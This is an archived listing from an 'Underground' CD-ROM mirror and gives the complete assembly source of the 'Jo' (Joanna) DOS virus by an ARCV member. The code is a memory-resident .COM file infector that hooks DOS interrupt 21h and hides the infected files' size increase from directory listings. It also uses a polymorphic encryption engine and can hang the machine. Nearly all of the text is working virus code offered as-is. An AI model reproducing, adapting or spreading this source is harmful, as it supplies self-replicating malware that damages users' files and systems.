Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / j / jo_v111.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 19.3 KB | 429 lines

NAME Jo PAGE 55,132 TITLE Jo Virus. ; ; This is Yet another virus from the ARCV, this one is called ; Joanna, it was written by Apache Warrior, ARCV President. ; ; It has Stealth features, it is a Resident infector of .COM files ; and uses the Cybertech Mutation Engine (TM) by Apache Warrior for ; its Polymorphic features. There is a maximum of 3 unchanged bytes ; in the Encrypted code. ; .model tiny code segment ASSUME CS:CODE,DS:CODE,ES:CODE int_21ofs equ 84h int_21seg equ 86h length equ offset handle-offset main msglen equ offset oldstart-offset msg tsrlen equ (offset findat-offset main)/10 len equ offset handle-offset main virlen equ (offset string-offset main2)/2 decryptlen equ offset main2-offset main org 100h start: jmp main db 0,0,0 main: mov si,offset main2 ; SI offset for decrypt mov cx,virlen ; viri decrypt size loop_1: db 2eh,81h,2ch ; decrypt switch: dw 0 add si,02h dec cx jnz loop_1 main2: call findoff ; find file ofset findoff: pop si ; sub si,offset findoff push ds push es push cs pop ds push cs pop es mov ax,0ff05h ; Test for Scythe2 Boot int 13h cmp ah,0e9h ; Check for Scythe2 Boot jnz haha ; no go on mov ah,09h ; Display message lea dx,[si+offset msg2] int 21h jmp $ ; Crash the machine haha: mov ah,2ah ; Date Test int 21h ; cmp dx,1210h ; Is month the Oct. jnz main3 ; no go on mov ah,09h ; Display Message lea dx,[si+offset msg] int 21h main3: mov di,0100h ; move old programs push si ; start back to the start mov ax,offset oldstart ; add si,ax ; mov cx,05h ; cld ; repz movsb ; inst: mov ax,0ffa4h ; check to see if already instaled int 21h pop si ; bring back si cmp ax,42a1h je oldprog ; Yes return to old program tt2: xor ax,ax ; Residency Routine push ax mov ax,ds ; Get MCB segment Address dec ax ; mov es,ax ; Put MCB segment Address in es pop ds ; mov ax,word ptr ds:int_21ofs ; Load Int 21h address data mov cx,word ptr ds:int_21seg ; mov word ptr cs:[si+int21],ax ; Move Int 21h data to store mov word ptr cs:[si+int21+2],cx ; cmp byte ptr es:[0],5ah ; Check for Start of MCB jne oldprog ; If no then quit mov ax,es:[3] ; Play with MCB to get top of sub ax,0bch ; Memory and reserve 3,008 bytes jb oldprog ; for Virus mov es:[3],ax ; sub word ptr es:[12h],0bch ; mov es,es:[12h] ; push ds ; push cs ; pop ds ; Move Virus into Memory mov di,0100h ; space allocated above mov cx,len+5 ; push si ; add si,0100h ; rep movsb ; pop si pop ds cli ; Stop Interrupts Very Inportant mov ax,offset new21 ; Load New Int 21h handler mov word ptr ds:int_21ofs,ax ; address and store mov word ptr ds:int_21seg,es ; sti ; oldprog: mov di,0100h ; Return to Orginal pop es ; Program.. pop ds ; push di ; ret ; int21 dd 0h ; Storage For Int 21h Address ; ; New interupt 21h Handler ; sayitis: mov ax,42a1h ; Install Check.. iret new21: ;nop ; Sign byte cmp ax,0ffa4h ; Instalation Check je sayitis cmp ah,11h ; FCB Search file je adjust_FCB cmp ah,12h ; FCB Search Again je adjust_FCB cmp ah,4eh ; Handle Search file je adjust_FCB cmp ah,4fh ; Handle Search Again je adjust_FCB cmp ah,3dh ; Are they opening a file? je intgo ; if no ignore cmp ah,4bh ; Exec Function jne noint intgo: push ax ; 4bh, 3dh Infect file push bx ; Handler save the Registers push cx push es push si push di push dx push ds call checkit ; Call infect routine pop ds pop dx pop di pop si pop es pop cx pop bx pop ax noint: jmp cs:[int21] ; Return to Orginal Int 21h adjust_FCB: push es ; Stealth Routine push bx push si push ax xor si,si and ah,40h ; Check for handle Search jz okFCB mov si,1 ; Set flag okFCB: mov ah,2fh ; Get DTA Address int 21h pop ax ; Restore ax to orginal function call i21 ; value call it pushf ; save flags push ax ; save ax error code call adjust ; Call stealth adjust routine pop ax ; restore registers popf pop si pop bx pop es retf 2 ; Return to caller adjust: pushf ; Stealth check routine cmp si,0 ; Check flag set earlyer je fcb1 popf jc repurn ; Check for Handle Search error mov ah,byte ptr es:[bx+16h] ; No error then carry on and ah,01ah ; Check stealth stamp cmp ah,01ah ; jne repurn ; sub word ptr es:[bx+1ah],len ; Infected then take the viri size repurn: ret ; from file size. fcb1: popf ; Same again but for the FCB cmp al,0ffh je meat_hook cmp byte ptr es:[bx],0ffh jne xx2 add bx,7 xx2: mov ah,byte ptr es:[bx+17h] and ah,01ah cmp ah,01ah jne meat_hook sub word ptr es:[bx+1dh],len meat_hook: ret com_txt db 'COM',0 ; reset: ; File Attrib routines mov cx,20h set_back: mov al,01h find_att: mov ah,43h ; Alter file attributes i21: pushf call cs:[int21] exitsub: ret checkit: ; Infect routine push es ; Save some more registers push ds push ds ; Check to see if file is a pop es ; .COM file if not then push dx ; quit.. pop di ; mov cx,0ffh ; Find '.' in File Name mov al,'.' ; repnz scasb ; push cs ; pop ds ; mov si,offset com_txt ; Compare with COM extension mov cx,3 ; rep cmpsb ; pop ds ; Restore Reg... pop es ; jnz exitsub ; foundtype: sub di,06h ; Check for commaND.com cmp ds:[di],'DN' ; Quit if found.. je exitsub ; mov word ptr cs:[nameptr],dx ; Save DS:DX pointer for later mov word ptr cs:[nameptr+2],ds ; mov al,00h ; Find Attributes of file to infect call find_att ; jc exitsub ; Error Quit. alteratr: mov cs:[attrib],cx ; Save them call reset ; Reset them to normal mov ax,3d02h ; Open file call i21 jc exitsub ; Error Quit push cs ; Set DS to CS pop ds ; mov ds:[handle],ax ; Store handle mov ax,5700h ; Read file time and date mov bx,ds:[handle] ; call i21 ; ke9: mov ds:[date],dx ; Save DX or cx,1ah ; Set Stealth Stamp mov ds:[time],cx ; Save CX mov ah,3fh ; Read in first 5 bytes mov cx,05h ; To save them mov dx,offset oldstart ; call i21 ; closeit: jc close2 ; Error Quit mov ax,4202h ; Move filepointer to end mov cx,0ffffh ; -5 bytes offset from end mov dx,0fffbh ; call i21 ; jc close ; Error Quit mov word ptr cs:si_val,ax ; Save File saize for later cmp ax,0ea60h ; See if too big jae close ; Yes then Quit mov ah,3fh ; Read in last 5 bytes mov cx,05h ; mov dx,offset tempmem ; call i21 ; jc close ; Error push cs ; Reset ES to CS pop es ; mov di,offset tempmem ; Check if Already infected mov si,offset string ; mov cx,5 ; rep cmpsb ; jz close ; Yes the Close and Quit zapfile: ; No Infect and Be Damned mov ax,word ptr cs:si_val ; add ax,2 ; push cs ; pop ds ; mov word ptr ds:[jpover+1],ax ; Setup new jump call mut_eng ; Call Mutation Engine mov ah,40h ; Save prog to end of file mov bx,cs:[handle] ; Load Handle mov cx,length ; LENGTH OF PROGRAM**** call i21 ; Write away close2: jc close ; Quit if error push cs ; Reset DS to CS pop ds ; mov ax,4200h ; Move File pointer to start xor cx,cx ; of file cwd ; Clever way to XOR DX,DX call i21 ; jc close ; Error Quit.. mov ah,40h ; Save new start mov cx,03h ; mov dx,offset jpover ; call i21 ; close: mov ax,5701h ; Restore Time and Date mov bx,ds:[handle] ; mov cx,ds:[time] ; mov dx,ds:[date] ; call i21 ; mov ah,3eh ; Close file call i21 ; exit_sub: mov dx,word ptr [nameptr] ; Reset Attributes to as they where mov cx,ds:[attrib] ; mov ds,word ptr cs:[nameptr+2] ; call set_back ; ret ; Return to INT 21h Handler ; ; CyberTech Mutation Engine ; ; This is Version Two of the Mutation Engine ; Unlike others it is very much Virus Specific.. Works ; Best on Resident Viruses.. ; ; To Call ; ; si_val = File Size ; ; Returns ; DS:DX = Encrypted Virus Code, Use DS:DX pointer to ; Write From.. mut_eng: mov ah,2ch ; Get Time call i21 ; mov word ptr ds:[switch],dx ; Use Sec./100th counter as key mov word ptr ds:[switch2+1],dx ; Save to Decrypt and Encrypt mov ax,cs:[si_val] ; Get file size mov dx,offset main2 ; add ax,dx ; mov word ptr [main+1],ax ; Store to Decrypt offset xor byte ptr [loop_1+2],28h ; Toggle Add/Sub xor byte ptr switch2,28h ; " push cs ; Reset Segment Regs. pop ds ; push cs ; pop ax ; Find Spare Segment sub ax,0bch ; and put in es mov es,ax ; mov si,offset main ; Move Decrypt function mov di,0100h ; mov cx,decryptlen ; rep movsb ; mov si,offset main2 ; Start the code encrypt mov cx,virlen ; loop_10: lodsw ; switch2: add ax,0000 ; stosw ; loop loop_10 ; mov si,offset string ; move ID string to end mov cx,5 ; new code rep movsb ; mov dx,0100h ; Set Registers to encrypted Virus push es ; Location pop ds ; ret ; Return ; Data Section, contains Messages etc. ; Little message to the Wife to Be.. msg db 'Looking Good Slimline Joanna.',0dh,0ah db 'Made in England by Apache Warrior, ARCV Pres.',0dh,0ah,0ah db 'Jo Ver. 1.11 (c) Apache Warrior 92.',0dh,0ah db '$' msg2 db 'I Love You Joanna, Apache..',0dh,0ah,'$' virus_name db '[JO]',00h, ; Virus Name.. author db 'By Apache Warrior, ARCV Pres.' ; Thats me.. filler dd 0h oldstart: mov ax,4c00h ; Orginal program start int 21h nop nop j100h dd 0100h ; Stores for jumps etc jpover db 0e9h,00,00h ; string db '65fd3' ; ID String :heap ; This code is not saved handle dw 0h nameptr dd 0h attrib dw 0h date dw 0h time dw 0h tempmem db 10h dup (?) findat db 0h si_val dw 0h code ends end start